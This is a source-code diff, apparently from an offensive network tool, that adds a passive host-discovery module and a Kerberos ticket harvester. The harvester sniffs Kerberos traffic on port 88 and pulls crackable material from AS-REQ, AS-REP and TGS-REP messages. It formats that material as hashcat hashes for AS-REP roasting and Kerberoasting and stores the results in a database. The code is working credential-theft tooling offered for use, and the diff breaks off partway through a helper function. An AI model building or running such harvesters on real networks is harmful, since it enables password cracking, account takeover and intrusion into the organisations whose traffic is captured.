+ self._hosts_lock = threading.Lock() + self._pending_updates = [] + self._update_lock = threading.Lock() + self._db_path = "" + self._db_conn: Optional[sqlite3.Connection] = None + self._total_hosts = 0 + # OUI lookup cache: first 3 bytes hex -> vendor + self._oui_cache = {} + # DHCP fingerprint cache: option55 -> os_guess + self._dhcp_fp_cache = {} + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + self._capture_bus = self.config.get("capture_bus") + if not self._capture_bus: + logger.error("HostDiscovery requires capture_bus in config") + return + + base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother")) + self._db_path = os.path.join(base_dir, "hosts.db") + Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True) + self._init_db() + + # Load OUI database + oui_path = self.config.get("oui_db", "") + if oui_path and os.path.isfile(oui_path): + self._load_oui_db(oui_path) + + # Load DHCP fingerprint database + dhcp_fp_path = self.config.get("dhcp_fingerprints_db", "") + if dhcp_fp_path and os.path.isfile(dhcp_fp_path): + self._load_dhcp_fingerprints(dhcp_fp_path) + + # Load BPF filter + bpf_path = self.config.get("bpf_filter_path", "") + bpf_filter = "" + if bpf_path and os.path.isfile(bpf_path): + with open(bpf_path) as f: + lines = [l.strip() for l in f if l.strip() and not l.startswith("#")] + bpf_filter = " ".join(lines) + if not bpf_filter: + bpf_filter = "arp or port 67 or port 68 or port 5353 or port 1900 or port 5355 or port 137 or port 138" + + self._sub_queue = self._capture_bus.subscribe( + name=self.name, bpf_filter=bpf_filter, queue_depth=10000 + ) + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + + self._reader_thread = threading.Thread( + target=self._read_packets, daemon=True, name="bb-hostdisc-reader" + ) + self._reader_thread.start() + + self._flusher_thread = threading.Thread( + target=self._flush_loop, daemon=True, name="bb-hostdisc-flusher" + ) + self._flusher_thread.start() + + self.state.set_module_status(self.name, "running", pid=os.getpid()) + logger.info("HostDiscovery started") + + def stop(self) -> None: + if not self._running: + return + self._running = False + + if self._capture_bus: + self._capture_bus.unsubscribe(self.name) + + self._flush_hosts() + if self._db_conn: + self._db_conn.close() + self._db_conn = None + + self.state.set_module_status(self.name, "stopped") + logger.info("HostDiscovery stopped — %d hosts discovered", self._total_hosts) + + def status(self) -> dict: + with self._hosts_lock: + host_count = len(self._hosts) + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "total_hosts": host_count, + "oui_entries": len(self._oui_cache), + "dhcp_fingerprints": len(self._dhcp_fp_cache), + } + + def configure(self, config: dict) -> None: + self.config.update(config) + + # ------------------------------------------------------------------ + # Database + # ------------------------------------------------------------------ + + def _init_db(self) -> None: + self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False) + self._db_conn.execute("PRAGMA journal_mode=WAL") + self._db_conn.execute("PRAGMA synchronous=NORMAL") + self._db_conn.executescript(""" + CREATE TABLE IF NOT EXISTS hosts ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + ip TEXT NOT NULL, + mac TEXT, + hostname TEXT, + vendor TEXT, + os_guess TEXT, + dhcp_fingerprint TEXT, + first_seen REAL NOT NULL, + last_seen REAL NOT NULL, + source TEXT + ); + CREATE UNIQUE INDEX IF NOT EXISTS idx_host_ip ON hosts(ip); + CREATE INDEX IF NOT EXISTS idx_host_mac ON hosts(mac); + CREATE INDEX IF NOT EXISTS idx_host_hostname ON hosts(hostname); + """) + self._db_conn.commit() + + def _load_oui_db(self, path: str) -> None: + """Load OUI vendor database. Expected format: 'AA:BB:CCVendor Name' per line.""" + try: + conn = sqlite3.connect(path) + rows = conn.execute("SELECT oui, vendor FROM oui").fetchall() + for oui, vendor in rows: + self._oui_cache[oui.upper().replace(":", "").replace("-", "")] = vendor + conn.close() + logger.info("Loaded %d OUI entries", len(self._oui_cache)) + except Exception: + # Try plain text format + try: + with open(path) as f: + for line in f: + line = line.strip() + if not line or line.startswith("#"): + continue + parts = line.split("\t", 1) + if len(parts) == 2: + oui = parts[0].upper().replace(":", "").replace("-", "") + self._oui_cache[oui] = parts[1] + logger.info("Loaded %d OUI entries from text", len(self._oui_cache)) + except Exception: + logger.warning("Failed to load OUI database from %s", path) + + def _load_dhcp_fingerprints(self, path: str) -> None: + """Load DHCP option 55 fingerprint database.""" + try: + conn = sqlite3.connect(path) + rows = conn.execute("SELECT fingerprint, os_name FROM fingerprints").fetchall() + for fp, os_name in rows: + self._dhcp_fp_cache[fp] = os_name + conn.close() + logger.info("Loaded %d DHCP fingerprints", len(self._dhcp_fp_cache)) + except Exception: + try: + with open(path) as f: + for line in f: + line = line.strip() + if not line or line.startswith("#"): + continue + parts = line.split("\t", 1) + if len(parts) == 2: + self._dhcp_fp_cache[parts[0]] = parts[1] + logger.info("Loaded %d DHCP fingerprints from text", len(self._dhcp_fp_cache)) + except Exception: + logger.warning("Failed to load DHCP fingerprints from %s", path) + + # ------------------------------------------------------------------ + # OUI lookup + # ------------------------------------------------------------------ + + def _lookup_oui(self, mac: str) -> str: + """Look up vendor from MAC address OUI (first 3 octets).""" + oui = mac.upper().replace(":", "").replace("-", "")[:6] + return self._oui_cache.get(oui, "") + + # ------------------------------------------------------------------ + # Host update + # ------------------------------------------------------------------ + + def _update_host(self, ts: float, ip: str, mac: str = "", hostname: str = "", + vendor: str = "", os_guess: str = "", + dhcp_fingerprint: str = "", source: str = "") -> None: + """Update or create host entry. Merges new data with existing.""" + if not ip or ip == "0.0.0.0" or ip.startswith("255."): + return + + is_new = False + with self._hosts_lock: + if ip not in self._hosts: + self._hosts[ip] = { + "ip": ip, "mac": "", "hostname": "", "vendor": "", + "os_guess": "", "dhcp_fingerprint": "", + "first_seen": ts, "last_seen": ts, "source": source, + } + is_new = True + + host = self._hosts[ip] + host["last_seen"] = ts + + if mac and not host["mac"]: + host["mac"] = mac + if not vendor: + vendor = self._lookup_oui(mac) + if hostname and not host["hostname"]: + host["hostname"] = hostname + if vendor and not host["vendor"]: + host["vendor"] = vendor + if os_guess and not host["os_guess"]: + host["os_guess"] = os_guess + if dhcp_fingerprint and not host["dhcp_fingerprint"]: + host["dhcp_fingerprint"] = dhcp_fingerprint + if source: + existing = host.get("source", "") + if source not in existing: + host["source"] = f"{existing},{source}" if existing else source + + if is_new: + self._total_hosts += 1 + self.bus.emit("HOST_DISCOVERED", { + "ip": ip, "mac": mac, "hostname": hostname, + "vendor": vendor, "source": source, + }, source_module=self.name) + + # ------------------------------------------------------------------ + # Packet reader + # ------------------------------------------------------------------ + + def _read_packets(self) -> None: + while self._running: + result = self._sub_queue.get(timeout=1.0) + if result is None: + continue + ts, raw_packet = result + try: + self._parse_packet(ts, raw_packet) + except Exception: + pass + + def _parse_packet(self, ts: float, raw: bytes) -> None: + """Route packet to appropriate protocol parser.""" + if len(raw) < 14: + return + + eth_type = struct.unpack("!H", raw[12:14])[0] + src_mac = ":".join(f"{b:02x}" for b in raw[6:12]) + + if eth_type == 0x0806: # ARP + self._parse_arp(ts, raw, src_mac) + return + + ip_offset = 14 + if eth_type == 0x8100: # VLAN + if len(raw) < 18: + return + eth_type = struct.unpack("!H", raw[16:18])[0] + ip_offset = 18 + + if eth_type != 0x0800: + return + + if len(raw) < ip_offset + 20: + return + + ip_hdr = raw[ip_offset:] + ihl = (ip_hdr[0] & 0x0F) * 4 + ip_proto = ip_hdr[9] + src_ip = socket.inet_ntoa(ip_hdr[12:16]) + dst_ip = socket.inet_ntoa(ip_hdr[16:20]) + + if ip_proto == 17: # UDP + udp_offset = ip_offset + ihl + if len(raw) < udp_offset + 8: + return + src_port, dst_port = struct.unpack("!HH", raw[udp_offset:udp_offset + 4]) + payload = raw[udp_offset + 8:] + + if dst_port == 67 or dst_port == 68: + self._parse_dhcp(ts, payload, src_mac) + elif dst_port == 5353 or src_port == 5353: + self._parse_mdns(ts, src_ip, src_mac, payload) + elif dst_port == 137 or src_port == 137: + self._parse_nbns(ts, src_ip, src_mac, payload) + elif dst_port == 1900: + self._parse_ssdp(ts, src_ip, src_mac, payload) + elif dst_port == 5355 or src_port == 5355: + self._parse_llmnr(ts, src_ip, src_mac, payload) + + # Register any UDP source + self._update_host(ts, src_ip, mac=src_mac, source="traffic") + + # ------------------------------------------------------------------ + # Protocol parsers + # ------------------------------------------------------------------ + + def _parse_arp(self, ts: float, raw: bytes, eth_src_mac: str) -> None: + """Parse ARP request/reply for IP-MAC mapping.""" + if len(raw) < 42: # 14 eth + 28 ARP + return + + arp_data = raw[14:] + # ARP: htype(2) ptype(2) hlen(1) plen(1) oper(2) sha(6) spa(4) tha(6) tpa(4) + htype, ptype, hlen, plen, oper = struct.unpack("!HHBBH", arp_data[:8]) + + if htype != 1 or ptype != 0x0800: + return + + sender_mac = ":".join(f"{b:02x}" for b in arp_data[8:14]) + sender_ip = socket.inet_ntoa(arp_data[14:18]) + target_ip = socket.inet_ntoa(arp_data[24:28]) + + if sender_ip != "0.0.0.0": + self._update_host(ts, sender_ip, mac=sender_mac, source="arp") + + def _parse_dhcp(self, ts: float, payload: bytes, src_mac: str) -> None: + """Parse DHCP request/ACK for hostname, vendor class, option 55.""" + if len(payload) < 240: + return + + # DHCP: op(1) htype(1) hlen(1) hops(1) xid(4) secs(2) flags(2) + # ciaddr(4) yiaddr(4) siaddr(4) giaddr(4) chaddr(16) ... + op = payload[0] + yiaddr = socket.inet_ntoa(payload[16:20]) + chaddr = ":".join(f"{b:02x}" for b in payload[28:34]) + + # Parse DHCP options (start at offset 240, after magic cookie) + if payload[236:240] != b"\x63\x82\x53\x63": + return + + hostname = "" + vendor_class = "" + option_55 = "" + assigned_ip = yiaddr if yiaddr != "0.0.0.0" else "" + msg_type = 0 + + offset = 240 + while offset < len(payload): + opt = payload[offset] + if opt == 255: # End + break + if opt == 0: # Pad + offset += 1 + continue + + if offset + 1 >= len(payload): + break + opt_len = payload[offset + 1] + offset += 2 + + if offset + opt_len > len(payload): + break + + opt_data = payload[offset:offset + opt_len] + + if opt == 53 and opt_len == 1: # Message Type + msg_type = opt_data[0] + elif opt == 12: # Hostname + hostname = opt_data.decode("ascii", errors="replace").rstrip("\x00") + elif opt == 60: # Vendor Class + vendor_class = opt_data.decode("ascii", errors="replace").rstrip("\x00") + elif opt == 55: # Parameter Request List + option_55 = ",".join(str(b) for b in opt_data) + elif opt == 50 and opt_len == 4: # Requested IP + if not assigned_ip: + assigned_ip = socket.inet_ntoa(opt_data) + + offset += opt_len + + # DHCP fingerprint lookup + os_guess = "" + if option_55: + os_guess = self._dhcp_fp_cache.get(option_55, "") + + if assigned_ip: + self._update_host( + ts, assigned_ip, mac=chaddr, hostname=hostname, + vendor=vendor_class, os_guess=os_guess, + dhcp_fingerprint=option_55, source="dhcp", + ) + elif chaddr: + # No IP yet, but we can log the MAC + pass + + def _parse_mdns(self, ts: float, src_ip: str, src_mac: str, + payload: bytes) -> None: + """Parse mDNS for hostname discovery.""" + if len(payload) < 12: + return + + # mDNS uses standard DNS format on port 5353 + _, flags, qdcount, ancount, _, _ = struct.unpack("!HHHHHH", payload[:12]) + is_response = bool(flags & 0x8000) + + offset = 12 + + # Parse questions + for _ in range(qdcount): + name, offset = self._read_dns_name(payload, offset) + if offset + 4 > len(payload): + return + offset += 4 # qtype + qclass + + # Parse answers (for responses) + if is_response: + for _ in range(ancount): + if offset >= len(payload): + break + name, offset = self._read_dns_name(payload, offset) + if offset + 10 > len(payload): + break + rtype, _, ttl, rdlength = struct.unpack("!HHIH", payload[offset:offset + 10]) + offset += 10 + if offset + rdlength > len(payload): + break + + # Extract hostname from .local names + if name and name.endswith(".local"): + hostname = name.rsplit(".local", 1)[0] + if hostname: + self._update_host(ts, src_ip, mac=src_mac, + hostname=hostname, source="mdns") + + offset += rdlength + else: + # For queries, the querier's presence is noted + self._update_host(ts, src_ip, mac=src_mac, source="mdns") + + def _parse_nbns(self, ts: float, src_ip: str, src_mac: str, + payload: bytes) -> None: + """Parse NetBIOS Name Service queries/responses.""" + if len(payload) < 12: + return + + _, flags, qdcount, ancount, _, _ = struct.unpack("!HHHHHH", payload[:12]) + is_response = bool(flags & 0x8000) + + offset = 12 + + # Parse question names + for _ in range(qdcount): + if offset >= len(payload): + break + nbname, offset = self._read_nbns_name(payload, offset) + if offset + 4 > len(payload): + break + offset += 4 # qtype + qclass + + if nbname: + self._update_host(ts, src_ip, mac=src_mac, + hostname=nbname, source="nbns") + + # Parse answer names + if is_response: + for _ in range(ancount): + if offset >= len(payload): + break + nbname, offset = self._read_nbns_name(payload, offset) + if offset + 10 > len(payload): + break + _, _, _, rdlength = struct.unpack("!HHIH", payload[offset:offset + 10]) + offset += 10 + + if nbname: + self._update_host(ts, src_ip, mac=src_mac, + hostname=nbname, source="nbns") + + if offset + rdlength > len(payload): + break + offset += rdlength + + @staticmethod + def _read_nbns_name(data: bytes, offset: int) -> tuple: + """Decode a NetBIOS encoded name. Returns (name, new_offset).""" + if offset >= len(data): + return "", offset + + length = data[offset] + offset += 1 + + if length != 32: + # Skip non-standard length + return "", offset + length + 1 # +1 for trailing null length byte + + if offset + 32 > len(data): + return "", offset + + encoded = data[offset:offset + 32] + offset += 32 + + # Skip trailing length byte + if offset < len(data): + offset += 1 + + # Decode: each pair of bytes encodes one character + name_chars = [] + for i in range(0, 32, 2): + ch = ((encoded[i] - ord('A')) << 4) | (encoded[i + 1] - ord('A')) + if 32 <= ch < 127: + name_chars.append(chr(ch)) + name = "".join(name_chars).rstrip() + + return name, offset + + def _parse_ssdp(self, ts: float, src_ip: str, src_mac: str, + payload: bytes) -> None: + """Parse SSDP/UPnP announcements for device info.""" + try: + text = payload.decode("utf-8", errors="ignore") + except Exception: + return + + # SSDP uses HTTP-like headers + server = "" + usn = "" + for line in text.split("\r\n"): + lower = line.lower() + if lower.startswith("server:"): + server = line.split(":", 1)[1].strip() + elif lower.startswith("usn:"): + usn = line.split(":", 1)[1].strip() + + vendor = server if server else "" + hostname = "" + if usn: + # USN often contains device UUID + pass + + self._update_host(ts, src_ip, mac=src_mac, vendor=vendor, source="ssdp") + + def _parse_llmnr(self, ts: float, src_ip: str, src_mac: str, + payload: bytes) -> None: + """Parse LLMNR queries for hostname discovery.""" + if len(payload) < 12: + return + + # LLMNR uses DNS message format + _, flags, qdcount, ancount, _, _ = struct.unpack("!HHHHHH", payload[:12]) + is_response = bool(flags & 0x8000) + + offset = 12 + for _ in range(qdcount): + name, offset = self._read_dns_name(payload, offset) + if offset + 4 > len(payload): + break + offset += 4 + + if name: + if is_response: + self._update_host(ts, src_ip, mac=src_mac, + hostname=name, source="llmnr") + else: + # Querier looking for this name + self._update_host(ts, src_ip, mac=src_mac, source="llmnr") + + @staticmethod + def _read_dns_name(data: bytes, offset: int) -> tuple: + """Read a DNS-format name. Returns (name, new_offset).""" + parts = [] + jumped = False + saved_offset = offset + jumps = 0 + + while offset < len(data): + length = data[offset] + if length == 0: + offset += 1 + break + if (length & 0xC0) == 0xC0: + if offset + 1 >= len(data): + break + ptr = struct.unpack("!H", data[offset:offset + 2])[0] & 0x3FFF + if not jumped: + saved_offset = offset + 2 + jumped = True + offset = ptr + jumps += 1 + if jumps > 10: + break + continue + offset += 1 + if offset + length > len(data): + break + parts.append(data[offset:offset + length].decode("utf-8", errors="replace")) + offset += length + + name = ".".join(parts) if parts else "" + return (name, saved_offset if jumped else offset) + + # ------------------------------------------------------------------ + # Flush hosts to SQLite + # ------------------------------------------------------------------ + + def _flush_loop(self) -> None: + while self._running: + time.sleep(self.FLUSH_INTERVAL) + try: + self._flush_hosts() + except Exception: + logger.exception("Host flush error") + + def _flush_hosts(self) -> None: + """Write all in-memory hosts to SQLite.""" + with self._hosts_lock: + hosts_snapshot = list(self._hosts.values()) + + if not hosts_snapshot or not self._db_conn: + return + + try: + for h in hosts_snapshot: + self._db_conn.execute( + """INSERT INTO hosts (ip, mac, hostname, vendor, os_guess, + dhcp_fingerprint, first_seen, last_seen, source) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?) + ON CONFLICT(ip) DO UPDATE SET + mac = COALESCE(NULLIF(excluded.mac, ''), hosts.mac), + hostname = COALESCE(NULLIF(excluded.hostname, ''), hosts.hostname), + vendor = COALESCE(NULLIF(excluded.vendor, ''), hosts.vendor), + os_guess = COALESCE(NULLIF(excluded.os_guess, ''), hosts.os_guess), + dhcp_fingerprint = COALESCE(NULLIF(excluded.dhcp_fingerprint, ''), hosts.dhcp_fingerprint), + last_seen = excluded.last_seen, + source = excluded.source + """, + (h["ip"], h["mac"], h["hostname"], h["vendor"], + h["os_guess"], h["dhcp_fingerprint"], + h["first_seen"], h["last_seen"], h["source"]), + ) + self._db_conn.commit() + except Exception: + logger.exception("Failed to flush %d hosts", len(hosts_snapshot)) diff --git a/modules/passive/kerberos_harvester.py b/modules/passive/kerberos_harvester.py new file mode 100644 index 0000000..052870c --- /dev/null +++ b/modules/passive/kerberos_harvester.py @@ -0,0 +1,750 @@ +#!/usr/bin/env python3 +"""Passive Kerberos ticket harvester for offline cracking. + +Parses Kerberos traffic on port 88: + - AS-REQ: extract username, realm, encrypted timestamp (hashcat mode 7500) + - AS-REP: extract hash for AS-REP roasting (hashcat mode 18200) + - TGS-REP: extract hash for Kerberoasting (hashcat mode 13100) + +Also identifies domain controllers, realms, and SPNs. +Publishes TICKET_HARVESTED events immediately on capture. +""" + +import logging +import os +import socket +import sqlite3 +import struct +import threading +import time +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.passive.kerberos_harvester") + +# Kerberos message types (application tags) +KRB_AS_REQ = 10 +KRB_AS_REP = 11 +KRB_TGS_REQ = 12 +KRB_TGS_REP = 13 +KRB_ERROR = 30 + +# Encryption types +ETYPE_AES256_CTS = 18 +ETYPE_AES128_CTS = 17 +ETYPE_RC4_HMAC = 23 +ETYPE_DES_CBC_MD5 = 3 + +# Hashcat modes +HASHCAT_AS_REQ_ETYPE23 = 7500 +HASHCAT_AS_REP_ROAST = 18200 +HASHCAT_KERBEROAST_RC4 = 13100 +HASHCAT_KERBEROAST_AES256 = 19700 +HASHCAT_KERBEROAST_AES128 = 19600 + + +class KerberosHarvester(BaseModule): + """Harvest Kerberos tickets from wire for offline cracking.""" + + name = "kerberos_harvester" + module_type = "passive" + priority = 80 + requires_root = True + + BATCH_SIZE = 50 + FLUSH_INTERVAL = 30 + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._capture_bus = None + self._sub_queue = None + self._reader_thread: Optional[threading.Thread] = None + self._flusher_thread: Optional[threading.Thread] = None + self._buffer = [] + self._buffer_lock = threading.Lock() + self._db_path = "" + self._db_conn: Optional[sqlite3.Connection] = None + self._total_tickets = 0 + self._realms = set() + self._dcs = set() + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + self._capture_bus = self.config.get("capture_bus") + if not self._capture_bus: + logger.error("KerberosHarvester requires capture_bus in config") + return + + base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother")) + self._db_path = os.path.join(base_dir, "kerberos_tickets.db") + Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True) + self._init_db() + + self._sub_queue = self._capture_bus.subscribe( + name=self.name, bpf_filter="port 88", queue_depth=5000 + ) + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + + self._reader_thread = threading.Thread( + target=self._read_packets, daemon=True, name="bb-kerb-reader" + ) + self._reader_thread.start() + + self._flusher_thread = threading.Thread( + target=self._flush_loop, daemon=True, name="bb-kerb-flusher" + ) + self._flusher_thread.start() + + self.state.set_module_status(self.name, "running", pid=os.getpid()) + logger.info("KerberosHarvester started — monitoring port 88") + + def stop(self) -> None: + if not self._running: + return + self._running = False + + if self._capture_bus: + self._capture_bus.unsubscribe(self.name) + + self._flush_buffer() + if self._db_conn: + self._db_conn.close() + self._db_conn = None + + self.state.set_module_status(self.name, "stopped") + logger.info( + "KerberosHarvester stopped — %d tickets, %d realms, %d DCs", + self._total_tickets, len(self._realms), len(self._dcs), + ) + + def status(self) -> dict: + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "total_tickets": self._total_tickets, + "realms": list(self._realms), + "domain_controllers": list(self._dcs), + "buffer_size": len(self._buffer), + } + + def configure(self, config: dict) -> None: + self.config.update(config) + + # ------------------------------------------------------------------ + # Database + # ------------------------------------------------------------------ + + def _init_db(self) -> None: + self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False) + self._db_conn.execute("PRAGMA journal_mode=WAL") + self._db_conn.execute("PRAGMA synchronous=NORMAL") + self._db_conn.executescript(""" + CREATE TABLE IF NOT EXISTS kerberos_tickets ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp REAL NOT NULL, + source_ip TEXT NOT NULL, + dc_ip TEXT NOT NULL, + realm TEXT, + username TEXT, + spn TEXT, + ticket_type TEXT NOT NULL, + hashcat_mode INTEGER, + hash_value TEXT + ); + CREATE INDEX IF NOT EXISTS idx_kerb_user ON kerberos_tickets(username); + CREATE INDEX IF NOT EXISTS idx_kerb_realm ON kerberos_tickets(realm); + CREATE INDEX IF NOT EXISTS idx_kerb_type ON kerberos_tickets(ticket_type); + CREATE INDEX IF NOT EXISTS idx_kerb_ts ON kerberos_tickets(timestamp); + """) + self._db_conn.commit() + + # ------------------------------------------------------------------ + # Packet reader + # ------------------------------------------------------------------ + + def _read_packets(self) -> None: + while self._running: + result = self._sub_queue.get(timeout=1.0) + if result is None: + continue + ts, raw_packet = result + try: + self._parse_packet(ts, raw_packet) + except Exception: + pass + + def _parse_packet(self, ts: float, raw: bytes) -> None: + """Parse Ethernet->IP->TCP/UDP->Kerberos.""" + if len(raw) < 14: + return + + eth_type = struct.unpack("!H", raw[12:14])[0] + ip_offset = 14 + if eth_type == 0x8100: + if len(raw) < 18: + return + eth_type = struct.unpack("!H", raw[16:18])[0] + ip_offset = 18 + + if eth_type != 0x0800: + return + + if len(raw) < ip_offset + 20: + return + + ip_hdr = raw[ip_offset:] + ihl = (ip_hdr[0] & 0x0F) * 4 + ip_proto = ip_hdr[9] + src_ip = socket.inet_ntoa(ip_hdr[12:16]) + dst_ip = socket.inet_ntoa(ip_hdr[16:20]) + + if ip_proto == 6: # TCP + tcp_offset = ip_offset + ihl + if len(raw) < tcp_offset + 20: + return + src_port, dst_port = struct.unpack("!HH", raw[tcp_offset:tcp_offset + 4]) + if src_port != 88 and dst_port != 88: + return + tcp_hdr_len = ((raw[tcp_offset + 12] >> 4) & 0xF) * 4 + payload = raw[tcp_offset + tcp_hdr_len:] + # TCP Kerberos has 4-byte length prefix + if len(payload) > 4: + payload = payload[4:] + elif ip_proto == 17: # UDP + udp_offset = ip_offset + ihl + if len(raw) < udp_offset + 8: + return + src_port, dst_port = struct.unpack("!HH", raw[udp_offset:udp_offset + 4]) + if src_port != 88 and dst_port != 88: + return + payload = raw[udp_offset + 8:] + else: + return + + if len(payload) < 10: + return + + # Determine direction: requests go TO port 88, responses come FROM port 88 + if dst_port == 88: + client_ip = src_ip + dc_ip = dst_ip + else: + client_ip = dst_ip + dc_ip = src_ip + + self._dcs.add(dc_ip) + self._parse_kerberos(ts, client_ip, dc_ip, payload) + + def _parse_kerberos(self, ts: float, client_ip: str, dc_ip: str, + data: bytes) -> None: + """Parse ASN.1/DER-encoded Kerberos message.""" + if len(data) < 2: + return + + # Kerberos messages use ASN.1 application tags + # AS-REQ: [APPLICATION 10], AS-REP: [APPLICATION 11] + # TGS-REQ: [APPLICATION 12], TGS-REP: [APPLICATION 13] + tag = data[0] + if tag & 0xE0 != 0x60: # Application constructed + return + + msg_type = tag & 0x1F + + # Read outer length + _, offset = self._asn1_length(data, 1) + if offset < 0 or offset >= len(data): + return + + if msg_type == KRB_AS_REQ: + self._parse_as_req(ts, client_ip, dc_ip, data, offset) + elif msg_type == KRB_AS_REP: + self._parse_as_rep(ts, client_ip, dc_ip, data, offset) + elif msg_type == KRB_TGS_REP: + self._parse_tgs_rep(ts, client_ip, dc_ip, data, offset) + + def _parse_as_req(self, ts: float, client_ip: str, dc_ip: str, + data: bytes, offset: int) -> None: + """Parse AS-REQ for username, realm, and encrypted timestamp (mode 7500).""" + realm = "" + username = "" + enc_timestamp = "" + etype = 0 + + # Walk the ASN.1 SEQUENCE looking for known context tags + # AS-REQ contains: pvno[1], msg-type[2], padata[3], req-body[4] + seq_offset = self._enter_sequence(data, offset) + if seq_offset < 0: + return + + pos = seq_offset + while pos < len(data) - 2: + ctx_tag = data[pos] + if ctx_tag & 0xC0 != 0xA0: # Not context-specific constructed + break + + ctx_num = ctx_tag & 0x1F + length, next_pos = self._asn1_length(data, pos + 1) + if length < 0: + break + + ctx_data = data[next_pos:next_pos + length] + + if ctx_num == 3: # padata + # Look for PA-ENC-TIMESTAMP (type 2) + enc_ts, found_etype = self._extract_padata_enc_timestamp(ctx_data) + if enc_ts: + enc_timestamp = enc_ts + etype = found_etype + + elif ctx_num == 4: # req-body (KDC-REQ-BODY) + r, u = self._extract_req_body_info(ctx_data) + if r: + realm = r + if u: + username = u + + pos = next_pos + length + + if realm: + self._realms.add(realm) + + # If we got an encrypted timestamp, emit for hashcat 7500 + if enc_timestamp and username: + hashcat_mode = HASHCAT_AS_REQ_ETYPE23 if etype == ETYPE_RC4_HMAC else 7500 + hash_value = f"$krb5pa${etype}${username}${realm}${enc_timestamp}" + + self._emit_ticket( + ts, client_ip, dc_ip, realm, username, "", + "AS-REQ", hashcat_mode, hash_value, + ) + + def _parse_as_rep(self, ts: float, client_ip: str, dc_ip: str, + data: bytes, offset: int) -> None: + """Parse AS-REP for AS-REP roasting hash (mode 18200).""" + realm = "" + username = "" + enc_part = "" + etype = 0 + + seq_offset = self._enter_sequence(data, offset) + if seq_offset < 0: + return + + pos = seq_offset + while pos < len(data) - 2: + ctx_tag = data[pos] + if ctx_tag & 0xC0 != 0xA0: + break + + ctx_num = ctx_tag & 0x1F + length, next_pos = self._asn1_length(data, pos + 1) + if length < 0: + break + + ctx_data = data[next_pos:next_pos + length] + + if ctx_num == 3: # crealm + realm = self._read_string(ctx_data) + elif ctx_num == 4: # cname + username = self._extract_principal_name(ctx_data) + elif ctx_num == 6: # enc-part (EncryptedData) + etype, enc_part = self._extract_encrypted_data(ctx_data) + + pos = next_pos + length + + if realm: + self._realms.add(realm) + + if enc_part and username: + if etype == ETYPE_RC4_HMAC: + hashcat_mode = HASHCAT_AS_REP_ROAST + else: + hashcat_mode = HASHCAT_AS_REP_ROAST + hash_value = f"$krb5asrep${etype}${username}@{realm}:{enc_part}" + + self._emit_ticket( + ts, client_ip, dc_ip, realm, username, "", + "AS-REP", hashcat_mode, hash_value, + ) + + def _parse_tgs_rep(self, ts: float, client_ip: str, dc_ip: str, + data: bytes, offset: int) -> None: + """Parse TGS-REP for Kerberoasting hash (mode 13100).""" + realm = "" + username = "" + spn = "" + enc_part = "" + etype = 0 + + seq_offset = self._enter_sequence(data, offset) + if seq_offset < 0: + return + + pos = seq_offset + while pos < len(data) - 2: + ctx_tag = data[pos] + if ctx_tag & 0xC0 != 0xA0: + break + + ctx_num = ctx_tag & 0x1F + length, next_pos = self._asn1_length(data, pos + 1) + if length < 0: + break + + ctx_data = data[next_pos:next_pos + length] + + if ctx_num == 3: # crealm + realm = self._read_string(ctx_data) + elif ctx_num == 4: # cname + username = self._extract_principal_name(ctx_data) + elif ctx_num == 5: # ticket — contains the SPN and enc-part + t_spn, t_etype, t_enc = self._extract_ticket_info(ctx_data) + if t_spn: + spn = t_spn + if t_enc: + enc_part = t_enc + etype = t_etype + + pos = next_pos + length + + if realm: + self._realms.add(realm) + + if enc_part and (username or spn): + if etype == ETYPE_RC4_HMAC: + hashcat_mode = HASHCAT_KERBEROAST_RC4 + elif etype == ETYPE_AES256_CTS: + hashcat_mode = HASHCAT_KERBEROAST_AES256 + elif etype == ETYPE_AES128_CTS: + hashcat_mode = HASHCAT_KERBEROAST_AES128 + else: + hashcat_mode = HASHCAT_KERBEROAST_RC4 + + hash_value = f"$krb5tgs${etype}$*{username}${realm}${spn}*${enc_part[:32]}${enc_part[32:]}" + + self._emit_ticket( + ts, client_ip, dc_ip, realm, username, spn, + "TGS-REP", hashcat_mode, hash_value, + ) + + # ------------------------------------------------------------------ + # ASN.1 helpers + # ------------------------------------------------------------------ + + @staticmethod + def _asn1_length(data: bytes, offset: int) -> tuple: + """Read ASN.1 DER length. Returns (length, new_offset) or (-1, offset).""" + if offset >= len(data): + return -1, offset + first = data[offset] + if first & 0x80 == 0: + return first, offset + 1 + num_bytes = first & 0x7F + if num_bytes == 0 or offset + 1 + num_bytes > len(data): + return -1, offset + length = int.from_bytes(data[offset + 1:offset + 1 + num_bytes], "big") + return length, offset + 1 + num_bytes + + def _enter_sequence(self, data: bytes, offset: int) -> int: + """Skip into a SEQUENCE tag and return offset to first element, or -1.""" + if offset >= len(data) or data[offset] != 0x30: + return -1 + _, new_offset = self._asn1_length(data, offset + 1) + return new_offset + + def _read_string(self, data: bytes) -> str: + """Read a GeneralString/UTF8String from ASN.1 data.""" + if len(data) < 2: + return "" + # Skip tag byte + tag = data[0] + length, offset = self._asn1_length(data, 1) + if length < 0 or offset + length > len(data): + return "" + return data[offset:offset + length].decode("utf-8", errors="replace") + + def _extract_principal_name(self, data: bytes) -> str: + """Extract principal name from a PrincipalName SEQUENCE.""" + # PrincipalName ::= SEQUENCE { name-type[0], name-string[1] } + seq_offset = self._enter_sequence(data, 0) + if seq_offset < 0: + return "" + + pos = seq_offset + while pos < len(data) - 2: + ctx_tag = data[pos] + if ctx_tag & 0xC0 != 0xA0: + break + ctx_num = ctx_tag & 0x1F + length, next_pos = self._asn1_length(data, pos + 1) + if length < 